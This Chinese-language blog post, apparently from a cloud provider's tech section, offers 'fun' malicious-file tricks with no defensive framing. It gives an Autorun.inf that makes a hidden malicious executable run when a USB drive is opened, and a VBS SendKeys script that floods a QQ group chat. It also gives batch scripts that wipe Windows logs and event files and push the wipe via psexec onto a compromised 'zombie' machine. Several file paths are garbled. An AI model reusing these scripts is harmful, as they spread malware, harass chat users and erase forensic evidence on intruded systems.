溫馨提示×

您好，登錄后才能下訂單哦！

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

惡意文件小樂趣

發(fā)布時(shí)間：2020-06-10 13:02:19 來源：網(wǎng)絡(luò) 閱讀：519 作者：蘭博不基尼 欄目：安全技術(shù)

1、將可執(zhí)行惡意文件放入U(xiǎn)盤。并設(shè)置隱藏。

2、創(chuàng)建文件 Autorun.inf

3、寫入內(nèi)容：

[AutoRun]
OPEN=惡意文件全名
shellexecute=惡意文件全名
shell\Atuo\command=惡意文件全名

隱藏本文件。

4、當(dāng)U盤插入新的設(shè)備，操作人員雙擊U盤圖標(biāo)查看U盤時(shí)，會(huì)自動(dòng)運(yùn)行惡意文件。


VBS腳本，QQ群聊刷屏：

新建vbs后綴文件。內(nèi)容如下：

Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate "群聊刷屏測(cè)試"
for i=1 to 10 
WScript.Sleep 500
WshShell.SendKeys "^v"
WshShell.SendKeys i
WshShell.SendKeys "%s"
Next

#for i=1to 10”語句用來控制發(fā)送次數(shù)，表示發(fā)送10次


打開一個(gè)群聊天窗口并復(fù)制要發(fā)送的內(nèi)容到剪貼板上，雙擊剛才生成的“qq.vbs”切換到群聊天窗口中，在其中可看到已自動(dòng)刷屏了。


日志清除：


新建del.bat腳本

@del c:winntsystem32logfiles*.* 
@del c:winntsystem32config*.evt 
@del c:winntsystem32dtclog*.* 
@del c:winntsystem32*.log 
@del c:winntsystem32*.txt 
@del c:winnt*.txt 
@del c:winnt*.log 
@del c:del.bat

新建clean.bat


@copy del.bat 
＼%1c$ 
@echo 
向肉雞復(fù)制本機(jī)的del.bat
……OK 
@psexec 
＼%1 c:del.bat 
@echo 
在肉雞上運(yùn)行del.bat
，清除日志文件……OK
向AI問一下細(xì)節(jié)

免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱：is@yisu.com進(jìn)行舉報(bào)，并提供相關(guān)證據(jù)，一經(jīng)查實(shí)，將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI
助
手